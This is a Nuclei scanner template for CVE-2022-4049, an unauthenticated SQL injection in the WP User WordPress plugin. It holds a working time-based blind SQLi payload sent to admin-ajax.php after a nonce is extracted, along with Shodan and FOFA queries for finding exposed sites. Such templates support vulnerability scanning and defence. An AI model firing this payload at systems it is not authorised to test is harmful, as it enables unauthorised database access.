id: CVE-2022-4049 info: name: WP User <= 7.0 - Unauthenticated SQLi author: theamanrawat severity: critical description: | The WP User WordPress plugin through 7.0 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users. reference: - https://wpscan.com/vulnerability/9b0781e2-ad62-4308-bafc-d45b9a2472be - https://wordpress.org/plugins/wp-user/ - https://nvd.nist.gov/vuln/detail/CVE-2022-4049 - https://github.com/cyllective/CVEs classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2022-4049 cwe-id: CWE-89 epss-score: 0.04713 epss-percentile: 0.92631 cpe: cpe:2.3:a:wp_user_project:wp_user:*:*:*:*:*:wordpress:*:* metadata: verified: "true" max-request: 4 vendor: wp_user_project product: wp_user framework: wordpress shodan-query: http.html:/wp-content/plugins/wp-user/ fofa-query: body=/wp-content/plugins/wp-user/ publicwww-query: /wp-content/plugins/wp-user/ tags: cve,cve2022,sqli,wpscan,wordpress,wp-plugin,wp,wp-user,unauth,wp_user_project http: - raw: - | GET {{path}} HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded action=wpuser_group_action&group_action=x&wpuser_update_setting={{nonce}}&id=1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))khkM) attack: clusterbomb payloads: path: - "/index.php/user/" - "/user" stop-at-first-match: true matchers-condition: and matchers: - type: dsl dsl: - duration>=6 - status_code == 200 - contains(header_2, "text/html") - contains(body_2, 'Invalid Access') condition: and extractors: - type: regex name: nonce group: 1 regex: - '"wpuser_update_setting":"([0-9a-zA-Z]+)"' internal: true # digest: 4a0a004730450221009f2cbc14364ac05c5c2dff254226127506c3190a3ba76512afa101ec3d1ae79202207ff986195db0fe3402ab65772f29a6041fce7ff6bdc78a81bee06024b9aa4fee:922c64590222798bb761d5b6d8e72950